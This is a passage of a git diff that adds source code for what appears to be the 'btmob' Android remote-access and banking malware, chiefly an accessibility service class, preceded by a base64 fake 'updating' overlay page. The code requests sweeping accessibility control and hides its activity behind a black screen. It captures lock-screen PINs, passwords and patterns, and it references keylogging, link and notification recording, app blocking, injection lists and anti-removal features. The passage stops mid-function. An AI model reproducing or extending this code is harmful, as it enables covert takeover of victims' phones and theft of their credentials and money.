oOjcwcHg7aGVpZ2h0OjcwcHg7bWFyZ2luLWJvdHRvbToyNXB4fTwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxpbWcgc3JjPWRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxbQkFTRS1JQ09dIGFsdD0iQXBwIEljb24iIG9uZXJyb3I9InRoaXMuc3R5bGUuZGlzcGxheT0nbm9uZSciIGNsYXNzPWFwcC1pY29uPg0KPGRpdiBjbGFzcz1kb3RzLWxvYWRlcj4NCjxzcGFuPjwvc3Bhbj48c3Bhbj48L3NwYW4+PHNwYW4+PC9zcGFuPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPXN0YXR1cyBpZD1zdGF0dXNUZXh0PltNU0ddPC9kaXY+DQo8ZGl2IGNsYXNzPXByb2dyZXNzIGlkPXByb2dyZXNzVGV4dD4wJTwvZGl2Pg0KPGRpdiBjbGFzcz13YXJuaW5nPlBsZWFzZSBkb24ndCBjbG9zZSB0aGUgYXBwPC9kaXY+DQo8c2NyaXB0PmZ1bmN0aW9uIGdldFJhbmRvbUludChtaW4sbWF4KXttaW49TWF0aC5jZWlsKG1pbik7bWF4PU1hdGguZmxvb3IobWF4KTtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtYXgtbWluKzEpKSttaW47fQ0KbGV0IGN1cnJlbnRMYW5nPWRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5sYW5nfHxuYXZpZ2F0b3IubGFuZ3VhZ2Uuc2xpY2UoMCwyKTtjb25zdCBwcm9ncmVzc1RleHQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInByb2dyZXNzVGV4dCIpO2NvbnN0IHRyYW5zbGF0aW9ucz17YXI6WyLYrNin2LHZjSDYp9mE2KrYrdi22YrYsS4uLiIsItis2KfYsdmNINin2YTYqtit2K/ZitirLi4uIiwi2KzYp9ix2Y0g2KfZhNin2YbYqtmH2KfYoS4uLiIsItmF2LHYrdio2YvYpyJdLHpoOlsi5YeG5aSH5LitLi4uIiwi5pu05paw5LitLi4uIiwi5a6M5oiQ5LitLi4uIiwi5qyi6L+OIl0scnU6WyLQn9C+0LTQs9C+0YLQvtCy0LrQsC4uLiIsItCe0LHQvdC+0LLQu9C10L3QuNC1Li4uIiwi0JfQsNCy0LXRgNGI0LXQvdC40LUuLi4iLCLQlNC+0LHRgNC+INC/0L7QttCw0LvQvtCy0LDRgtGMIl0sdHI6WyJIYXrEsXJsYW7EsXlvci4uLiIsIkfDvG5jZWxsZW5peW9yLi4uIiwiVGFtYW1sYW7EsXlvci4uLiIsIkhvxZ8gZ2VsZGluaXoiXSxlczpbIlByZXBhcmFuZG8uLi4iLCJBY3R1YWxpemFuZG8uLi4iLCJGaW5hbGl6YW5kby4uLiIsIkJpZW52ZW5pZG8iXSxwdDpbIlByZXBhcmFuZG8uLi4iLCJBdHVhbGl6YW5kby4uLiIsIkZpbmFsaXphbmRvLi4uIiwiQmVtLXZpbmRvIl0sZW46WyJQcmVwYXJpbmcuLi4iLCJVcGRhdGluZy4uLiIsIkZpbmlzaGluZy4uLiIsIldlbGNvbWUiXX07Y29uc3QgbWVzc2FnZXM9dHJhbnNsYXRpb25zW2N1cnJlbnRMYW5nXXx8dHJhbnNsYXRpb25zWyJlbiJdO2NvbnN0IHN0YXR1c1RleHQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInN0YXR1c1RleHQiKTtsZXQgaW5kZXg9MDtjb25zdCB0b3RhbFRpbWU9MjEwMDA7Y29uc3QgaW50ZXJ2YWw9TWF0aC5mbG9vcih0b3RhbFRpbWUvbWVzc2FnZXMubGVuZ3RoKTtjb25zdCBpbnRlcnZhbElkPXNldEludGVydmFsKCgpPT57c3RhdHVzVGV4dC50ZXh0Q29udGVudD1tZXNzYWdlc1tpbmRleF07Y29uc3QgcGVyY2VudD1NYXRoLmZsb29yKCgoaW5kZXgrMSkvbWVzc2FnZXMubGVuZ3RoKSoxMDApO2NvbnN0IGZyb209aW5kZXg9PT0wPzA6TWF0aC5mbG9vcigoaW5kZXgvbWVzc2FnZXMubGVuZ3RoKSoxMDApO2NvbnN0IHRvPXBlcmNlbnQ7bGV0IHJhbmRvbU51bWJlcj1nZXRSYW5kb21JbnQoNTAwLDMwMDApO2FuaW1hdGVQZXJjZW50YWdlKGZyb20sdG8saW50ZXJ2YWwtcmFuZG9tTnVtYmVyKTtpbmRleCsrO2lmKGluZGV4Pj1tZXNzYWdlcy5sZW5ndGgpe2NsZWFySW50ZXJ2YWwoaW50ZXJ2YWxJZCk7fX0saW50ZXJ2YWwpO2Z1bmN0aW9uIGFuaW1hdGVQZXJjZW50YWdlKGZyb20sdG8sZHVyYXRpb24pe2NvbnN0IHN0YXJ0PXBlcmZvcm1hbmNlLm5vdygpO2Z1bmN0aW9uIHVwZGF0ZSh0aW1lc3RhbXApe2NvbnN0IGVsYXBzZWQ9dGltZXN0YW1wLXN0YXJ0O2NvbnN0IHByb2dyZXNzPU1hdGgubWluKGVsYXBzZWQvZHVyYXRpb24sMSk7Y29uc3QgY3VycmVudD1NYXRoLmZsb29yKGZyb20rKHRvLWZyb20pKnByb2dyZXNzKTtwcm9ncmVzc1RleHQudGV4dENvbnRlbnQ9Y3VycmVudCsiJSI7aWYocHJvZ3Jlc3M8MSl7cmVxdWVzdEFuaW1hdGlvbkZyYW1lKHVwZGF0ZSk7fX0NCnJlcXVlc3RBbmltYXRpb25GcmFtZSh1cGRhdGUpO30NCnN0YXR1c1RleHQudGV4dENvbnRlbnQ9bWVzc2FnZXNbMF07PC9zY3JpcHQ+DQo8L2JvZHk+DQo8L2h0bWw+ \ No newline at end of file diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AccessServices.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AccessServices.java new file mode 100644 index 0000000..ccd6673 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AccessServices.java @@ -0,0 +1,3489 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.AccessTools.Blocked_Apps; + +import static com.icontrol.protector.AccessTools.CLickTextpostion; +import static com.icontrol.protector.AccessTools.GoHome; +import static com.icontrol.protector.AccessTools.Lock_App_list; +import static com.icontrol.protector.AccessTools.Map_Name_ID; +import static com.icontrol.protector.AccessTools.Map_Name_Lnk; +import static com.icontrol.protector.AccessTools.blockBack; +import static com.icontrol.protector.AccessTools.captureUrl; + +import static com.icontrol.protector.AccessTools.clickthis; +import static com.icontrol.protector.AccessTools.EtypetoStr; +import static com.icontrol.protector.AccessTools.getNodesByClassName; +import static com.icontrol.protector.AccessTools.getSupportedBrowsers; +import static com.icontrol.protector.AccessTools.isSameWebsite; +import static com.icontrol.protector.AccessTools.ject_list; +import static com.icontrol.protector.AccessTools.myAccess; +import static com.icontrol.protector.AccessTools.pasteText; + + +import static com.icontrol.protector.Consts.Live_Nots; +import static com.icontrol.protector.Consts.Rec_Notifications; +import static com.icontrol.protector.Consts.Rec_apps; + +import static com.icontrol.protector.Consts.Rec_klogs; +import static com.icontrol.protector.Consts.Rec_links; +import static com.icontrol.protector.Consts.SPLIT_SKT; + +import static com.icontrol.protector.Consts.liv_klogs; +import static com.icontrol.protector.Consts.removeapp; + + +import static com.icontrol.protector.MyCods.isServiceRunning; +import static com.icontrol.protector.MySettings.ReadBool; +import static com.icontrol.protector.UtliTools.EnableDisableAct; +import static com.icontrol.protector.UtliTools.convertToBitmap; +import static com.icontrol.protector.UtliTools.getAppIconAsBase64; +import static com.icontrol.protector.UtliTools.getAppNameFromPkgName; +import static com.icontrol.protector.UtliTools.getLabelApplication; +import static com.icontrol.protector.UtliTools.getLauncherAppsPackageNames; +import static com.icontrol.protector.UtliTools.hideme; +import static com.icontrol.protector.UtliTools.isMIUI; +import static com.icontrol.protector.UtliTools.isPackageInstalled; +import static com.icontrol.protector.UtliTools.isvivo; +import static com.icontrol.protector.UtliTools.loadHtmlFromAssets; +import static com.icontrol.protector.UtliTools.loadPatternMap; +import static com.icontrol.protector.UtliTools.randomnumber; +import static com.icontrol.protector.UtliTools.savePatternMap; +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import static java.lang.Thread.sleep; + +import android.accessibilityservice.AccessibilityGestureEvent; +import android.accessibilityservice.AccessibilityService; +import android.accessibilityservice.AccessibilityServiceInfo; +import android.accessibilityservice.GestureDescription; +import android.annotation.SuppressLint; +import android.app.KeyguardManager; +import android.app.Notification; +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ServiceInfo; +import android.graphics.Bitmap; +import android.graphics.Color; +import android.graphics.Path; +import android.graphics.PixelFormat; +import android.graphics.Point; +import android.graphics.Rect; +import android.graphics.Region; +import android.graphics.drawable.Drawable; +import android.media.RingtoneManager; +import android.net.Uri; +import android.os.Build; +import android.os.Debug; +import android.os.Handler; +import android.os.Looper; +import android.provider.Settings; +import android.util.Base64; +import android.util.DisplayMetrics; +import android.util.Log; +import android.view.Display; +import android.view.Gravity; +import android.view.KeyEvent; +import android.view.MotionEvent; +import android.view.SurfaceView; +import android.view.View; +import android.view.ViewGroup; +import android.view.WindowManager; +import android.view.accessibility.AccessibilityEvent; +import android.view.accessibility.AccessibilityNodeInfo; +import android.view.accessibility.AccessibilityWindowInfo; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.FrameLayout; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.annotation.RequiresApi; +import androidx.core.app.NotificationCompat; +import androidx.core.app.NotificationManagerCompat; +import androidx.core.content.ContextCompat; + +import org.json.JSONObject; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.text.SimpleDateFormat; +import java.util.ArrayList; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Timer; +import java.util.TimerTask; +import java.util.concurrent.Executor; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class AccessServices extends AccessibilityService { + public static int screenfontSize = 30; + private String LastCapURL = "empty"; + public static String LastVisitedApp = "N/A"; + private String LastOpenApp = "null"; + private List launcherApps; + private String DoublecatKey = ""; + private String LastAllowedApp = null; + public static String lastject = null; + public static String skipject = ""; + public static boolean PreventDelete = false; + public static boolean onealip = false; + public static boolean skiponecover = false; + + public int mWidth; + public int mHeight; + public static WindowManager AccessWindow; + public static WindowManager.LayoutParams AccessLayout; + + //public static WindowManager windowmanager; + public static boolean Auto_Click = false; + public static boolean BlackScreen_ON = false; + int conter = 0; + + private boolean Watcheron = false; + private boolean recordon = false; + public static boolean skiprecord = false; + public static boolean NeedEnter = false; + public static boolean CapOK = false; + public static boolean CapRead = false; + public static boolean lockedonce = false; + public static boolean FOR_EXTR_STRG = false; + public static boolean forbattery = false; + public volatile static boolean FOR_DRAW_OVER = false; + public volatile static boolean onetimeDraw = false; + public volatile static boolean onetimeNoty = false; + public volatile static boolean oneExtstrg = false; + public volatile static boolean onedisply = false; + public static boolean FOR_PLY = false; + public static boolean FOR_NOTFY = false; + public static boolean FOR_CHNG_STNG = false; + public static boolean FOR_PRIMS = false; + + public static AccessibilityNodeInfo Globalnode = null; + public static AccessibilityNodeInfo lastsrc = null; + + public FrameLayout BlackoverLay; + public static WindowManager.LayoutParams Blacklayparams; + + //public TextView loadingText; + public WebView WbVwBlack; + //public static TextView warningtext; + //public static TextView warnintext; + + // private static int Notifi_ID = 111; + + // private void startforground(Context ctx) { +// try { +// //int Notifi_ID = randomnumber(11111, 88888); +// MyNotification MyNotifiint = MyNotification.getInstance(ctx); +// Notification notification = MyNotifiint.createNotification(ctx); +// if (Build.VERSION.SDK_INT >= 34) { +// this.startForeground(Notifi_ID, notification, +// ServiceInfo.FOREGROUND_SERVICE_TYPE_SYSTEM_EXEMPTED); +// } else { +// this.startForeground(Notifi_ID, notification); +// } +// } catch (Exception a) { +// a.printStackTrace(); +// } +// } + + + static HashMap CommandsData = new HashMap(); + + +// @Override +// public void setTouchExplorationPassthroughRegion(int displayId, @NonNull Region region) { +// +// // Apply the passthrough region +// super.setTouchExplorationPassthroughRegion(displayId, region); +// +// Log.d("AccessibilityService", "Passthrough region set: " + region.toString()); +// } + + boolean istouchwatch = false; + + + boolean Watching = false; + + public void enablesuperWatch() { + if (Watching) { + return; + } + Watching = true; + try { + Handler handler = new Handler(getMainLooper()); + handler.postDelayed(() -> { + try { + AccessibilityServiceInfo info = this.getServiceInfo(); + + info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE; + + this.setServiceInfo(info); + } catch (Exception e) { + } + + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + Region passthroughRegion = new Region(); + Rect passthroughRect = new Rect(0, 0, mWidth - 3, mHeight - 3); + passthroughRegion.op(passthroughRect, Region.Op.UNION); + // setTouchExplorationPassthroughRegion(Display.DEFAULT_DISPLAY, passthroughRegion); + setGestureDetectionPassthroughRegion(Display.DEFAULT_DISPLAY, passthroughRegion); + } + }, 600); + + + } catch (Exception a) { + } + + } + + public void disablesuperwatch() { + Watching = false; + try { + try { + AccessibilityServiceInfo serviceInfo = this.getServiceInfo(); + serviceInfo.flags &= ~AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE; + this.setServiceInfo(serviceInfo); + } catch (Exception a) { + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + Region passthroughRegion = new Region(); + + Rect passthroughRect = new Rect(0, mHeight - 200, mWidth, mHeight); + passthroughRegion.op(passthroughRect, Region.Op.UNION); + setTouchExplorationPassthroughRegion(Display.DEFAULT_DISPLAY, passthroughRegion); + setGestureDetectionPassthroughRegion(Display.DEFAULT_DISPLAY, passthroughRegion); + } + } catch (Exception a) { + + } + + } + + @Override + public void setTouchExplorationPassthroughRegion(int displayId, @NonNull Region region) { + super.setTouchExplorationPassthroughRegion(displayId, region); + } + + @Override + public void setGestureDetectionPassthroughRegion(int displayId, @NonNull Region region) { + super.setGestureDetectionPassthroughRegion(displayId, region); + } + + + @Override + public void setAccessibilityFocusAppearance(int strokeWidth, int color) { + super.setAccessibilityFocusAppearance(strokeWidth, color); + } + + + @Override + public boolean onGesture(@NonNull AccessibilityGestureEvent gestureEvent) { +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { +// if (gestureEvent.getGestureId() == GESTURE_SWIPE_UP) { +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { +// +// gestureEvent. +// +// disablesuperwatch(); +// +// new android.os.Handler().postDelayed(() -> { +// AccessTools.slideUp(); +// }, 1); +// new android.os.Handler().postDelayed(() -> { +// enablesuperWatch(); +// CapRead = true; +// }, 1000); +// } +// Log.d("AccessibilityService", "Gesture swipe up detected. Letting system handle it."); +// return true; +// } +// } + return false; + } + + +// @Override +// public int onStartCommand(Intent intent, int flags, int startId) { +// //startforground(this); +// return START_STICKY; +// } + + public static String CurrentNam; + + @Override + public void onServiceConnected() { + + + super.onServiceConnected(); + + try { + + CurrentNam = getLabelApplication(getApplicationContext()).toLowerCase(); + + AccessibilityServiceInfo info = new AccessibilityServiceInfo(); + + // if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + info.flags = AccessibilityServiceInfo.DEFAULT | + // AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS | + AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS | + AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE | + AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY | + AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS | + AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS; + +// } else { +// info.flags = AccessibilityServiceInfo.DEFAULT | +// AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS | +// AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS | +// AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE | +// AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY | +// AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS | +// AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS; +// +// } + + + info.eventTypes = AccessibilityEvent.TYPE_VIEW_CLICKED + | AccessibilityEvent.TYPE_VIEW_LONG_CLICKED + | AccessibilityEvent.TYPE_VIEW_SELECTED + | AccessibilityEvent.TYPE_VIEW_FOCUSED + | AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED + | AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED + | AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED + | AccessibilityEvent.TYPE_VIEW_HOVER_ENTER + | AccessibilityEvent.TYPE_VIEW_HOVER_EXIT + | AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START + | AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END + | AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED + | AccessibilityEvent.TYPE_VIEW_SCROLLED + | AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED + | AccessibilityEvent.TYPE_ANNOUNCEMENT + | AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED + | AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED + | AccessibilityEvent.TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY + | AccessibilityEvent.TYPE_GESTURE_DETECTION_START + | AccessibilityEvent.TYPE_GESTURE_DETECTION_END + | AccessibilityEvent.TYPE_TOUCH_INTERACTION_START + | AccessibilityEvent.TYPE_TOUCH_INTERACTION_END + | AccessibilityEvent.TYPE_WINDOWS_CHANGED + | AccessibilityEvent.TYPE_VIEW_CONTEXT_CLICKED + | AccessibilityEvent.TYPE_ASSIST_READING_CONTEXT; + + + info.notificationTimeout = 0; + info.packageNames = null; + //info.isAccessibilityTool(); + info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN + | AccessibilityServiceInfo.FEEDBACK_VISUAL + | AccessibilityServiceInfo.FEEDBACK_AUDIBLE + | AccessibilityServiceInfo.FEEDBACK_GENERIC + | AccessibilityServiceInfo.FEEDBACK_BRAILLE; + + setServiceInfo(info); + //startforground(this); + WorkServices.My_Access_inst = this; +// try { +// EngineWorker.SleepTime = 1000; +// } catch (Exception a) { +// } + try { + + Intent splasher = new Intent(getApplicationContext(), Splasher.class); + splasher.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + splasher.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + splasher.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); + startActivity(splasher); + + } catch (Exception a) { + } + + ScreenScanner(getApplicationContext()); + if (My_Configs.Anti_Delete.equals("1")) { + AntiProtector(this); + } + + //disableTouchExploration(); + Intent workint = new Intent(getApplicationContext(), EngineWorker.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint); + } else { + startService(workint); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) { + setAccessibilityFocusAppearance(0, Color.TRANSPARENT); + } + + } catch (Exception x) { + x.printStackTrace(); + } + + + try { + + + Context ctx = getApplicationContext(); + + WindowManager wmgrscr = (WindowManager) getSystemService(Context.WINDOW_SERVICE); + DisplayMetrics metrics = new DisplayMetrics(); + wmgrscr.getDefaultDisplay().getMetrics(metrics); + + int maxWidth = metrics.widthPixels; + int maxHeight = metrics.heightPixels; + mWidth = Integer.valueOf(MySettings.Read(ctx, Consts.Mob_width, String.valueOf(maxWidth))); + mHeight = Integer.valueOf(MySettings.Read(ctx, Consts.Mob_height, String.valueOf(maxHeight))); + + + //if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) { + disablesuperwatch(); + // } + + +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { +// Region passthroughRegion = new Region(); +// +// Rect passthroughRect = new Rect(0, 0, mWidth, mHeight); +// passthroughRegion.op(passthroughRect, Region.Op.UNION); +// setTouchExplorationPassthroughRegion(Display.DEFAULT_DISPLAY, passthroughRegion); +// } + WindowManager windowManager = (WindowManager) getSystemService(WINDOW_SERVICE); + SurfaceView layout = new SurfaceView(this); + layout.setBackgroundColor(Color.TRANSPARENT); + layout.setVisibility(View.INVISIBLE); + WindowManager.LayoutParams params = new WindowManager.LayoutParams(5, + 5, WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY, + WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | + WindowManager.LayoutParams.FLAG_FULLSCREEN | + WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS | + WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS | + WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED | + WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD | + WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE | + WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH, + PixelFormat.TRANSLUCENT); + params.gravity = Gravity.TOP | Gravity.START; + + AccessLayout = params; + AccessWindow = windowManager; + //windowmanager = windowManager; + windowManager.addView(layout, AccessLayout); + + + } catch (Exception s) { + s.printStackTrace(); + } + + //blockscreen + try { + + + + FrameLayout.LayoutParams paramstext = new FrameLayout.LayoutParams(FrameLayout.LayoutParams.WRAP_CONTENT, FrameLayout.LayoutParams.WRAP_CONTENT); + paramstext.gravity = Gravity.CENTER; + FrameLayout.LayoutParams paramstext2 = new FrameLayout.LayoutParams(FrameLayout.LayoutParams.WRAP_CONTENT, FrameLayout.LayoutParams.WRAP_CONTENT); + paramstext2.gravity = Gravity.BOTTOM | Gravity.CENTER; + // warningtext.setPadding(0, 0, 0, 30); + + + // warningtext.setClickable(false); + // warningtext.setFocusable(false); + + BlackoverLay = new FrameLayout(getApplicationContext()); + BlackoverLay.setBackgroundColor(Color.parseColor("#000000")); + + WbVwBlack = new WebView(this); + WbVwBlack.setBackgroundColor(Color.TRANSPARENT); + WebSettings webSettings = WbVwBlack.getSettings(); + webSettings.setJavaScriptEnabled(true); + WbVwBlack.setWebViewClient(new WebViewClient()); + +// Set the Drawable as the background + //Fakelay.setBackground(drawable); + BlackoverLay.getBackground().setAlpha(252); + //webView.getBackground().setAlpha(252); + //Fakelay.setVisibility(View.INVISIBLE); + BlackoverLay.setClickable(false); + BlackoverLay.setFocusable(false); + + WbVwBlack.setClickable(false); + WbVwBlack.setFocusable(false); + + //BlackoverLay.addView(WbVwBlack); + + //BlackoverLay.addView(warningtext); + + + String html = loadHtmlFromAssets(getApplicationContext(), "launcher.html"); + SetupWbvew(html); + + + Blacklayparams = new WindowManager.LayoutParams( + mWidth, + mHeight, + WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY, + WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE + | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN + | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE + | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED + | WindowManager.LayoutParams.FLAG_FULLSCREEN + | WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS + | WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR + // | WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH + , + PixelFormat.RGBA_8888 + ); + + + Blacklayparams.gravity = Gravity.TOP | Gravity.START; + + //windowmanager.addView(Fakelay, Fakeparams_bass); + + } catch (Exception a) { + } + + // try { + + + //mWidth = Integer.valueOf(MySettings.Read(ctx, Consts.Mob_width, "720")); + //mHeight = Integer.valueOf(MySettings.Read(ctx, Consts.Mob_height, "1280")); + + +// WatchParams = new WindowManager.LayoutParams(mWidth, +// mHeight, +// WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY, +// WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | +// WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS | +// WindowManager.LayoutParams.FLAG_FULLSCREEN | +// WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL, +// PixelFormat.TRANSLUCENT); + + // WatchFramelayout = new View(getApplicationContext()); + //WatchFramelayout.setKeepScreenOn(true); + + // } catch (Exception s) { + // } +// +// try { +//// WatchFramelayout.setOnTouchListener(new View.OnTouchListener() { +//// +//// +//// @Override +//// public boolean onTouch(View v, MotionEvent event) { +//// +//// try { +//// if (!Watcheron) { +//// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { +//// AccessTools.TouchWatcher("Stop", ""); +//// } +//// return true; +//// } +//// +//// int X = (int) event.getX(); +//// int Y = (int) event.getY(); +//// +//// int eventaction = event.getAction(); +//// switch (eventaction) { +//// case MotionEvent.ACTION_DOWN: +//// X_down = (int) event.getX(); +//// Y_down = (int) event.getY(); +//// +//// Time_Down = System.currentTimeMillis(); +//// PointList.add(new Point(X, Y)); +//// break; +//// case MotionEvent.ACTION_MOVE: +//// +//// PointList.add(new Point(X, Y)); +//// break; +//// +//// case MotionEvent.ACTION_UP: +//// +//// X_up = (int) event.getX(); +//// Y_up = (int) event.getY(); +//// Time_up = System.currentTimeMillis(); +//// +//// PointList.add(new Point(X, Y)); +//// final Point[] array = PointList.toArray(new Point[PointList.toArray().length]); +//// +//// +//// final Handler handler = new Handler(Looper.getMainLooper()); +//// handler.postDelayed(new Runnable() { +//// @Override +//// public void run() { +//// if (WatchFramelayout.getWindowToken() != null) { +//// windowmanager.removeView(WatchFramelayout); +//// +//// } +//// if (X_down == X_up && Y_down == Y_up && (Time_up - Time_Down) < 100) { +//// +//// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { +//// try { +//// sleep(1); +//// } catch (Exception a) { +//// } +//// clickthis(X_down, Y_down); +//// +//// +//// if (RecordTouch) { +//// PointArrys.put("C" + String.valueOf(conter), new Point[]{new Point(X_down, Y_down)}); +//// } +//// +//// conter += 1; +//// } +//// } else { +//// +//// AccessTools.mouseDraw(array, 1200); +//// try { +//// sleep(1); +//// } catch (Exception a) { +//// +//// } +//// if (RecordTouch) { +//// PointArrys.put("S" + String.valueOf(conter), array); +//// } +//// conter += 1; +//// } +//// if (WatchFramelayout.getWindowToken() == null && WatchFramelayout.getParent() == null) { +//// try { +//// windowmanager.addView(WatchFramelayout, WatchParams); +//// +//// } catch (Exception e) { +//// +//// } +//// } +//// } +//// }, 1); +//// +//// PointList.clear(); +//// +//// break; +//// } +//// +//// } catch (Exception a) { +//// a.printStackTrace(); +//// } +//// return true; +//// } +//// }); +// +// } catch (Exception e) { +// e.printStackTrace(); +// } + + try { + Intent workint = new Intent(getApplicationContext(), EngineWorker.class); + if (!isServiceRunning(getApplicationContext(), EngineWorker.class)) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(workint); + } else { + startService(workint); + } + } + } catch (Exception a) { + } + + } + + public void SetupWbvew(String htmlpage) { + + try + { + Handler fhand = new Handler(getMainLooper()); + fhand.post(() -> { + try { + try { + String langCode = Locale.getDefault().getLanguage(); + String html = (new String(Base64.decode(htmlpage, 0), "UTF-8")); + html = html.replace("[LNG]", langCode); + + WbVwBlack.loadDataWithBaseURL( + null, + html, + "text/html", + "utf-8", + null + ); + } catch (Exception a) { + a.printStackTrace(); + } + if (WbVwBlack != null && WbVwBlack.getWindowToken() != null){ + clearWbVew(); + } + BlackoverLay.addView(WbVwBlack); + } catch (Exception s) { + s.printStackTrace(); + } + }); + + }catch (Exception e){ + e.printStackTrace(); + } + + } + public void clearWbVew(){ + try { + + BlackoverLay.removeView(WbVwBlack); + WbVwBlack = new WebView(this); + WbVwBlack.setBackgroundColor(Color.TRANSPARENT); + WebSettings webSettings = WbVwBlack.getSettings(); + webSettings.setJavaScriptEnabled(true); + WbVwBlack.setWebViewClient(new WebViewClient()); + //BlackoverLay.addView(WbVwBlack); + } catch (Exception s) { + s.printStackTrace(); + } + } + + //private final ExecutorService executorService = Executors.newSingleThreadExecutor(); + + private int needclik = 0; + //private static String lastpinid = ""; + + private static String fullpincaptured = ""; + private static String fullpatterncaptured = ""; + private static Map TemppatternMap = new HashMap<>(); + //private static Map patternMap = new HashMap<>(); + public static String CurrentLockState = "";//pa=password,pt=pattern,pi=pincode + public static int skipdoublicate = 0; + public static String TempStorepass = ""; + + public static String handleInput(String input) { + String fixedInput = input.replaceAll("•", ""); // Remove the special character + // Log.d("fixedInput:", fixedInput); + + if (fixedInput.isEmpty()) { + // Input is empty, remove the last character from the stored value + if (!TempStorepass.isEmpty()) { + TempStorepass = TempStorepass.substring(0, TempStorepass.length() - 1); + } + + } else { + TempStorepass += fixedInput; + + } + + // Log.d("TempStorepass:", TempStorepass); + // Log.d("storedValue:", storedValue); + + return TempStorepass; + + } + + boolean isKeyboardOpened() { + List windowInfoList = getWindows(); + for (int k = 0; k < windowInfoList.size(); k++) { + if (windowInfoList.get(k).getType() == AccessibilityWindowInfo.TYPE_INPUT_METHOD) { + Log.i("TAG", "keyboard is opened!"); + return true; + } + } + return false; + } + + + private boolean findNodeByViewId(AccessibilityNodeInfo rootNode, String viewId) { + // Check if the current node matches the view ID + if (rootNode.getViewIdResourceName() != null && rootNode.getViewIdResourceName().equals(viewId)) { + return true; + } + + // Recursively check child nodes + for (int i = 